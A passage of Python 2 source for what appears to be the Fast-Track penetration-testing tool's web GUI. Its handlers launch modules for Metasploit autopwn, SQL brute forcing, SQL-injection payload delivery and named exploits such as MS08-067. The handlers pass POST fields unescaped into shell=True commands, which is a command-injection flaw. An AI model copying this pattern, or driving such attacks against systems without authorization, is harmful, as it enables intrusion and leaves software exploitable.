ft9=file("bin/web/html/images/fast_track_11.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_15 if self.path == "/images/fast_track_15.jpg": ft9=file("bin/web/html/images/fast_track_15.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_16 if self.path == "/images/fast_track_16.jpg": ft9=file("bin/web/html/images/fast_track_16.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_18 if self.path == "/images/fast_track_18.jpg": ft9=file("bin/web/html/images/fast_track_18.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_21 if self.path == "/images/fast_track_21.jpg": ft9=file("bin/web/html/images/fast_track_21.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_25 if self.path == "/images/fast_track_25.jpg": ft9=file("bin/web/html/images/fast_track_25.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_26 if self.path == "/images/fast_track_26.jpg": ft9=file("bin/web/html/images/fast_track_26.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # FT_header_04 if self.path == "/images/ft_header_04.jpg": ft9=file("bin/web/html/images/ft_header_04.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # ft_header_hover_03 if self.path == "/images/ft_header_hover_03.jpg": ft9=file("bin/web/html/images/ft_header_hover_03.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # ft_header_hover_04 if self.path == "/images/ft_header_hover_04.jpg": ft9=file("bin/web/html/images/ft_header_hover_04.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # ft_header_hover_05 if self.path == "/images/ft_header_hover_05.jpg": ft9=file("bin/web/html/images/ft_header_hover_05.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # ft_header_hover_07 if self.path == "/images/ft_header_hover_07.jpg": ft9=file("bin/web/html/images/ft_header_hover_07.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # page_bg if self.path == "/images/page_bg.jpg": ft9=file("bin/web/html/images/page_bg.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # btn1 if self.path == "/images/btn_launch_1.jpg": spacer=file("bin/web/html/images/btn_launch_1.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn2 if self.path == "/images/btn_launch_2.jpg": spacer=file("bin/web/html/images/btn_launch_2.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn3 if self.path == "/images/btn_launch_3.jpg": spacer=file("bin/web/html/images/btn_launch_3.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # msautopwn if self.path == "/images/btn_msautopwn.jpg": spacer=file("bin/web/html/images/btn_msautopwn.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn_reset if self.path == "/images/btn_reset.jpg": spacer=file("bin/web/html/images/btn_reset.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn_browse if self.path == "/images/btn_browse.jpg": spacer=file("bin/web/html/images/btn_browse.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # btn_updateall if self.path == "/images/btn_updateall.jpg": spacer=file("bin/web/html/images/btn_updateall.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # updateft if self.path == "/images/btn_updateft.jpg": spacer=file("bin/web/html/images/btn_updateft.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # meta update if self.path == "/images/btn_updatems.jpg": spacer=file("bin/web/html/images/btn_updatems.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # Fast_Track_10 if self.path == "/images/fast_track_10.jpg": ft10=file("bin/web/html/images/fast_track_10.jpg","rb").readlines() for line in ft10: self.wfile.write(line) # Update: Update Menu for Fast-Track and various other tools if self.path == "/update": load_header(self) load_nav(self) update=file("bin/web/html/updates","r").readlines() for line in update: self.wfile.write(line) load_footer(self) # Autopwn: Metasploit Autopwn Automated if self.path == "/autopwn": load_header(self) load_nav(self) autopwn=file("bin/web/html/autopwn","r").readlines() for line in autopwn: self.wfile.write(line) load_footer(self) # SQL Brute Main: Sql brute forcing Main Menu if self.path == "/sqlbrute": load_header(self) load_nav(self) sqlbrute=file("bin/web/html/sqlbrutemain","r").readlines() for line in sqlbrute: self.wfile.write(line) load_footer(self) # Quick brute option: SQL brute forcing using quick (like 50 passwords) if self.path == "/quickbrute": load_header(self) load_nav(self) sqlbrutequick=file("bin/web/html/quickbrute","r").readlines() for line in sqlbrutequick: self.wfile.write(line) load_footer(self) # Wordlist brute option wordlist: Import an external wordlist and brute force against one or many hosts if self.path == "/wordlistbrute": load_header(self) load_nav(self) wordlistbrute=file("bin/web/html/wordlistbrute","r").readlines() for line in wordlistbrute: self.wfile.write(line) load_footer(self) # Binary Convert: Convert binarys to a pasteable format to a windows shell to compile it..used as a PAYLOAD delivery method if self.path == "/binaryconvert": load_header(self) load_nav(self) binaryconvert=file("bin/web/html/binaryconvert","r").readlines() for line in binaryconvert: self.wfile.write(line) load_footer(self) # Changelog: Fast-Track updates, uses CHANGELOG under readme to generate the info dynamically if self.path == "/changelog": load_header(self) load_nav(self) changelog=file("bin/web/html/changelog","r").readlines() for line in changelog: self.wfile.write(line) match2=re.search('<div style="overflow:scroll;', line) if match2: menuopen=file("readme/CHANGELOG","r").readlines() for line in menuopen: self.wfile.write('<p class="box_text">'+line+"</p>") load_footer(self) # Tutorials for Fast-Track, generate the info dynamically if self.path == "/tutorials": load_header(self) load_nav(self) tutorials=file("bin/web/html/tutorials","r").readlines() for line in tutorials: self.wfile.write(line) load_footer(self) # Credits for Fast-Track, generate the info dynamically if self.path == "/credits": load_header(self) load_nav(self) tutorials=file("bin/web/html/credits","r").readlines() for line in tutorials: self.wfile.write(line) load_footer(self) # SQL Injector Main: Find an injectable parameter and this trys to exploit it: Main Menu if self.path == "/sqlinjector": load_header(self) load_nav(self) sqlinjectormain=file("bin/web/html/sqlinjector","r").readlines() for line in sqlinjectormain: self.wfile.write(line) load_footer(self) # SQL Injector Binary Payload: Use binary to hex conversions to deliver our payload through SQL Injection if self.path == "/binarypayload": load_header(self) load_nav(self) binarypayload=file("bin/web/html/binarypayload","r").readlines() for line in binarypayload: self.wfile.write(line) load_footer(self) # SQL Injector FTP Payload: Use FTP as a median for transfer, delivers a netcat payload if self.path == "/ftppayload": load_header(self) load_nav(self) ftppayload=file("bin/web/html/ftppayload","r").readlines() for line in ftppayload: self.wfile.write(line) load_footer(self) # SQL Injector POST Binary Payload: if self.path == "/postpayload": load_header(self) load_nav(self) postpayload=file("bin/web/html/postpayload","r").readlines() for line in postpayload: self.wfile.write(line) load_footer(self) # SQL Injector Manual Payload: Setup everything manual for you, i.e nc listening on port x and ip of x if self.path == "/manualpayload": load_header(self) load_nav(self) manualpayload=file("bin/web/html/manualpayload","r").readlines() for line in manualpayload: self.wfile.write(line) load_footer(self) if self.path == "/massclient": load_header(self) load_nav(self) massclient=file("bin/web/html/massclient","r").readlines() for line in massclient: self.wfile.write(line) load_footer(self) # Payload Generator if self.path == "/payloadgen": load_header(self) load_nav(self) payloadgen=file("bin/web/html/payloadgen","r").readlines() for line in payloadgen: self.wfile.write(line) load_footer(self) # Exploits Main if self.path == "/exploits": load_header(self) load_nav(self) exploitsmain=file("bin/web/html/exploits","r").readlines() for line in exploitsmain: self.wfile.write(line) load_footer(self) # HP OpenView CGI Exploit if self.path == "/openviewcgi": load_header(self) load_nav(self) openviewcgi=file("bin/web/html/openviewcgi","r").readlines() for line in openviewcgi: self.wfile.write(line) load_footer(self) # IBM Tivoli Exploit if self.path == "/ibmtivoli": load_header(self) load_nav(self) ibmtivoli=file("bin/web/html/ibmtivoli","r").readlines() for line in ibmtivoli: self.wfile.write(line) load_footer(self) # HP OpenView NNM Exploit if self.path == "/openviewnnm": load_header(self) load_nav(self) openviewnnm=file("bin/web/html/openviewnnm","r").readlines() for line in openviewnnm: self.wfile.write(line) load_footer(self) # Quicktime RTSP if self.path == "/quicktime": load_header(self) load_nav(self) ibmtivoli=file("bin/web/html/quicktime","r").readlines() for line in ibmtivoli: self.wfile.write(line) load_footer(self) # Goodtech if self.path == "/goodtech": load_header(self) load_nav(self) goodtech=file("bin/web/html/goodtech","r").readlines() for line in goodtech: self.wfile.write(line) load_footer(self) # \MS08-067 if self.path == "/ms08067": load_header(self) load_nav(self) ms08067=file("bin/web/html/ms08067","r").readlines() for line in ms08067: self.wfile.write(line) load_footer(self) # \MS09-002 if self.path == "/ms09002": load_header(self) load_nav(self) ms09002=file("bin/web/html/ms09002","r").readlines() for line in ms09002: self.wfile.write(line) load_footer(self) # MIRC if self.path == "/mirc": load_header(self) load_nav(self) mirc=file("bin/web/html/mirc","r").readlines() for line in mirc: self.wfile.write(line) load_footer(self) # TFTP if self.path == "/tftp": load_header(self) load_nav(self) tftp=file("bin/web/html/tftp","r").readlines() for line in tftp: self.wfile.write(line) load_footer(self) # IE XML Corruption if self.path == "/xmlcorruptionbo": load_header(self) load_nav(self) xml=file("bin/web/html/xmlcorruptionbo","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) # MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray if self.path == "/directshowheap": load_header(self) load_nav(self) xml=file("bin/web/html/directshowheap","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) # FireFox 3.5 Heap Spray if self.path == "/firefox35": load_header(self) load_nav(self) xml=file("bin/web/html/firefox35","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) # SQLPwnage Main Menu if self.path == "/sqlpwnage": load_header(self) load_nav(self) sqlpwnagemain=file("bin/web/html/sqlpwnage","r").readlines() for line in sqlpwnagemain: self.wfile.write(line) load_footer(self) # SQLPwnage Blind Menu if self.path == "/sqlpwnageblind": load_header(self) load_nav(self) sqlpwnagemain=file("bin/web/html/sqlpwnageblind","r").readlines() for line in sqlpwnagemain: self.wfile.write(line) load_footer(self) # SQLPwnage Blind POST Menu #if self.path == "/sqlpwnageblindpost": # sqlpwnagemain=file("bin/web/html/sqlpwnageblindpost.html","r").readlines() # for line in sqlpwnagemain: # self.wfile.write(line) # match=re.search('<ul id="navlist" title="menu">', line) # if match: # menuopen=file("bin/web/html/menu.html","r").readlines() # for line in menuopen: # self.wfile.write(line) # SQLPwnage Error Menu if self.path == "/sqlpwnageerror": load_header(self) load_nav(self) sqlpwnagemain=file("bin/web/html/sqlpwnageerror","r").readlines() for line in sqlpwnagemain: self.wfile.write(line) load_footer(self) # Close any html body tags self.wfile.write("</html></body>") # Start POST def do_POST(self): ###################### START UPDATE EVERYTHING SECTION ############################## if self.path == "/updatepost": load_header(self) load_nav(self) updatepost=file("bin/web/html/finished","r").readlines() for line in updatepost: self.wfile.write(line) load_footer(self) try: update=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Auto-Update" -e "python %s/fast-track.py -c 1 2" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END UPDATE EVERYTHING SECTION ############################## ###################### START UPDATE FT ONLY SECTION ############################## if self.path == "/updateftpost": load_header(self) load_nav(self) updatepost=file("bin/web/html/finished","r").readlines() for line in updatepost: self.wfile.write(line) load_footer(self) try: update=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Auto-Update" -e "python %s/fast-track.py -c 1 1" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END UPDATE FT ONLY SECTION ############################## ###################### START AUTOPWN SECTION ############################## if self.path == "/autopwnpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("+"," ") ipaddr=ipaddr.replace("%2C",",") ipaddr=ipaddr.replace("%2F","/") option1=raw_post_data[3].rstrip() load_header(self) load_nav(self) autopwn=file("bin/web/html/finished","r").readlines() for line in autopwn: self.wfile.write(line) load_footer(self) try: metapwn=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Autopwn Automated" -e "python %s/fast-track.py -c 2 \'%s\' %s" 2> /dev/null""" % (definepath,ipaddr,option1), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END AUTOPWN SECTION ############################## ###################### START METASPLOIT UPDATE SECTION ############################## if self.path == "/metaupdatepost": self.send_response(200) self.end_headers() load_header(self) load_nav(self) metaupdatepost=file("bin/web/html/finished","r").readlines() for line in metaupdatepost: self.wfile.write(line) load_footer(self) try: metaupdate=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Autopwn Automated" -e "python %s/bin/ftsrc/updatemeta.py" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END METASPLOIT UPDATE SECTION ############################## ###################### START SQL QUICK BRUTE ############################## if self.path == "/quickbrutepost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("%2F","/") payload=raw_post_data[3].rstrip() username=raw_post_data[5].rstrip() load_header(self) load_nav(self) quickbrute=file("bin/web/html/finished","r").readlines() for line in quickbrute: self.wfile.write(line) load_footer(self) try: quickbrute=subprocess.Popen(r"""xterm -geometry 80x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Quick Brute" -e "python %s/fast-track.py -c 4 1 %s %s %s" """ % (definepath,ipaddr,username,payload), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END SQL QUICK BRUTE ############################## ###################### START SQL WORDLIST BRUTE ############################## if self.path == "/wordlistbrutepost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) # print raw_post_data raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() payload=raw_post_data[3].rstrip() username=raw_post_data[5].rstrip() wordlist=raw_post_data[7].rstrip() wordlist=wordlist.replace("%2F","/") ipaddr=ipaddr.replace("%2F", "/") load_header(self) load_nav(self) wordlistbrute=file("bin/web/html/finished","r").readlines() for line in wordlistbrute: self.wfile.write(line) load_footer(self) try: wordlist=subprocess.Popen(r'''xterm -geometry 80x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Wordlist Brute" -e "python %s/fast-track.py -c 4 2 %s %s %s %s"''' % (definepath,ipaddr,username,wordlist,payload), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END SQL WORDLIST BRUTE ############################## ###################### START BINARYCONVERT ############################## if self.path == "/binaryconvertpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() print raw_post_data binpath=raw_post_data[1].rstrip() binpath=binpath.replace("%2F","/") binaryconvertpost=file("bin/web/html/finished","r").readlines() load_header(self) load_nav(self) for line in binaryconvertpost: self.wfile.write(line) load_footer(self) try: binconvert=subprocess.Popen("""python %s/fast-track.py -c 5 %s""" % (definepath,binpath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END BINARYCONVERT ############################## ###################### START SQL INJECTOR BINARY PAYLOAD ############################## if self.path == "/binarypayloadpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") load_header(self) load_nav(self) binarypayload=file("bin/web/html/finished","r").readlines() for line in binarypayload: self.wfile.write(line) load_footer(self) try: binarypayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 1 %s" 2> /dev/null''' % (definepath,url), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception: pass ###################### END SQL INJECTOR BINARY PAYLOAD ############################## ###################### START SQL INJECTOR FTP PAYLOAD ############################## if self.path == "/ftppayloadpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") load_header(self) load_nav(self) ftppayloadpost=file("bin/web/html/finished","r").readlines() for line in ftppayloadpost: self.wfile.write(line) load_footer(self) try: ftppayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 2 %s" 2> /dev/null'''% (definepath,url), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception: pass ###################### END SQL INJECTOR FTP PAYLOAD ############################## ###################### START SQL INJECTOR MANUAL PAYLOAD ############################## if self.path == "/manualpayloadpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") ipaddr=raw_post_data[3].rstrip() portnum=raw_post_data[5].rstrip() load_header(self) load_nav(self) manualpayloadpost=file("bin/web/html/finished","r").readlines() for line in manualpayloadpost: self.wfile.write(line) load_footer(self) try: manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 3 %s %s %s" 2> /dev/null''' % (definepath,url,ipaddr,portnum), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception: pass ###################### END SQL INJECTOR MANUAL PAYLOAD ############################## ###################### START SQL INJECTOR BINARY PAYLOAD POST ############################## if self.path == "/postpayloadpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") load_header(self) load_nav(self) postpayload=file("bin/web/html/finished","r").readlines() for line in postpayload: self.wfile.write(line) load_footer(self) try: ftppayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 4 %s" 2> /dev/null'''% (definepath,url), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception: pass ###################### END SQL INJECTOR BINARY PAYLOAD POST ############################## ###################### START METASPLOIT CLIENT ATTACK ############################## if self.path == "/massclientpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() choice=raw_post_data[3].rstrip() try: etterchoice=raw_post_data[5].rstrip() except Exception,e: print e etterchoice=0 try: ettercap=raw_post_data[7].rstrip() except Exception: ettercap=0 load_header(self) load_nav(self) massclientpost=file("bin/web/html/finished","r").readlines() for line in massclientpost: self.wfile.write(line) load_footer(self) print choice try: massclient=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Mass Client Attack" -e "python %s/fast-track.py -c 6 %s %s %s %s" 2> /dev/null""" % (definepath,ipaddr,choice,etterchoice,ettercap), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END METASPLOIT CLIENT ATTACK ############################## ###################### START EXPLOITS OPENVIEWCGI ############################## if self.path == "/openviewcgipost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("+"," ") load_header(self) load_nav(self) openviewcgi=file("bin/web/html/finished","r").readlines() for line in openviewcgi: self.wfile.write(line) load_footer(self) try: openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track HP OpenView CGI Exploit" -e "python %s/fast-track.py -c 7 1 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS OPENVIEWCGI ############################## ###################### START EXPLOITS IBMTIVOLI ############################## if self.path == "/ibmtivolipost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() try: ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("+"," ") except IndexError: pass load_header(self) load_nav(self) ibmtivoli=file("bin/web/html/finished","r").readlines() for line in ibmtivoli: self.wfile.write(line) load_footer(self) try: openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track IBM Tivoli Exploit" -e "python %s/fast-track.py -c 7 2 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS IBMTIVOLI ############################## ###################### START EXPLOITS OPENVIEWNNM ############################## if self.path == "/openviewnnmpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("+"," ") load_header(self) load_nav(self) openviewnnm=file("bin/web/html/finished","r").readlines() for line in openviewnnm: self.wfile.write(line) load_footer(self) try: openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track HP OpenView NNM Exploit" -e "python %s/fast-track.py -c 7 2 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS OPENVIEWNNM ############################## ###################### START EXPLOITS QUICKTIME ############################## if self.path == "/quicktimepost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() quicktime=file("bin/web/html/finished","r").readlines() load_header(self) load_nav(self) for line in quicktime: self.wfile.write(line) load_footer(self) try: quicktime=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track RTSP 7.3 SEH Exploit" -e "python %s/fast-track.py -c 7 4" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS QUICKTIME ############################## ###################### START EXPLOITS GOODTECH ############################## if self.path == "/goodtechpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) goodtech=file("bin/web/html/finished","r").readlines() for line in goodtech: self.wfile.write(line) load_footer(self) try: goodtech=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Goodtech 6.4 Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 5" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS GOODTECH ############################## ###################### START EXPLOITS MS08067 ############################## if self.path == "/ms08067post": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) ms08067=file("bin/web/html/finished","r").readlines() for line in ms08067: self.wfile.write(line) load_footer(self) try: ms08067=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track MS08-067 Server Service Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 6" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS MS08067 ############################## ###################### START EXPLOITS MS09002 ############################## if self.path == "/ms09002post": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) ms09002=file("bin/web/html/finished","r").readlines() for line in ms09002: self.wfile.write(line) load_footer(self) try: ms09002=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track MS IE 7 Memory Corruption (MS09-002)" -e "python %s/fast-track.py -c 7 10" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS MS09002 ############################## ###################### START EXPLOITS MIRC ############################## if self.path == "/mircpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) mirc=file("bin/web/html/finished","r").readlines() for line in mirc: self.wfile.write(line) load_footer(self) try: mirc=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track mIRC 6.34 Remote Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 7" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS MIRC ############################## ###################### START EXPLOITS TFTP ############################## if self.path == "/tftppost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) tftp=file("bin/web/html/finished","r").readlines() for line in tftp: self.wfile.write(line) load_footer(self) try: tftp=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track TFTP Server Windows V1.4 ST Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 8" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS TFTP ############################## ###################### START EXPLOITS XML ############################## if self.path == "/xmlcorruptionbopost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) xml=file("bin/web/html/finished","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) try: xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track IE XML Corruption Heap Spray" -e "python %s/fast-track.py -c 7 9" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS XML ############################## ###################### START EXPLOITS DIRECTSHOW ############################## if self.path == "/directshowheappost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) xml=file("bin/web/html/finished","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) try: xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track DirectShow Heap Spray" -e "python %s/fast-track.py -c 7 11" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS DIRECTSHOW ############################## ###################### START EXPLOITS FireFox 3.5 ############################## if self.path == "/firefox35post": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) 